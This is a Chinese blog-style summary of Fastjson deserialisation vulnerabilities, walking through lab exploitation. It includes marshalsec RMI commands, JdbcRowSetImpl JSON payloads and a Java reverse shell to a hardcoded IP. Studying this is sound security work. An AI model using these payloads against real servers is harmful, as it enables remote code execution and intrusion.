Fastjson漏洞总结


前言

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。


指纹识别

fastjson指纹识别

如果有报错回显,可以故意构造不完整json请求,返回的数据包会进行报错。
发送内容最后少了个括号导致数据包不完整从而报错,从返回的数据包中可以看到有fastjson字样。
在这里插入图片描述

如果没有报错回显,利用dnslog进行回显
{“zeo”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog的地址”}}

在这里插入图片描述
在这里插入图片描述

Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )

漏洞详情

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞版本

fastjson <=1.2.24

漏洞分析

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

漏洞利用

1、访问存在漏洞的页面,得到json格式的数据。
在这里插入图片描述
2、创建TouchFile.java文件,内容如下:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

3、执行编译命令javac TouchFile.java,得到TouchFile.class文件。并将其通过python3 -m http.server命令放到外网环境中,默认监听端口8000。
在这里插入图片描述
4、然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999

在这里插入图片描述
5、在漏洞页面bp抓包后post提交数据,替换如下payload:

POST / HTTP/1.1
Host: 靶机ip:端口
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
 
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.xx.xx.xx:9999/TouchFile",
        "autoCommit":true
    }
}

6、靶机执行命令成功
在这里插入图片描述

Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)

漏洞详情

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

影响版本

fastjson <1.2.48

漏洞分析

https://www.anquanke.com/post/id/181874

漏洞利用

1、编写一个反弹shell脚本Exploit.java,并编译生成Exploit.class。

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/98.126.219.155/58274 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

2、然后将编译好的上传到服务器,利用python3 -m http.server 开启http服务。然后能够访问即可:
在这里插入图片描述
3、借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.108.118.128:8000/#Exploit" 9999

4、接着开启nc监听端口4444:nc -lvvp 4444

5、向靶场服务器发送Payload:

POST / HTTP/1.1
Host: xx.xx.xx.xx:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
 
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.xx.xx.xx:9999/Exploit",
        "autoCommit":true
    }
}

在这里插入图片描述
6、反弹成功

Fstjson < 1.2.60 远程拒绝服务漏洞

漏洞描述

Fastjson多个版本存在远程拒绝服务漏洞,Fastjson 1.2.60版本以下存在字符串解析异常,可导致远程拒绝服务攻击。攻击者即可通过精心构造的请求包对使用Fastjson的服务器造成远程拒绝服务攻击,可导致服务器宕机。

漏洞分析

影响版本

fastjson <1.2.60

fastjson sec版本>=sec06

漏洞利用

Fastjson <=1.2.68 全版本远程代码执行漏洞

漏洞详情

FastJSON <= 1.2.68 存在远程代码执行漏洞,可直接获取到服务器权限。漏洞成因是Fastjson autotype开关的限制可被绕过,然后链式地反序列化某些原本不能被反序列化的有安全风险的类。

影响版本

FastJSON <= 1.2.68

漏洞分析

https://www.cnblogs.com/tr1ple/p/12348886.html

https://www.cnblogs.com/ph4nt0mer/p/13065373.html

https://xz.aliyun.com/t/7878

漏洞利用

暂无

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

306Safe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值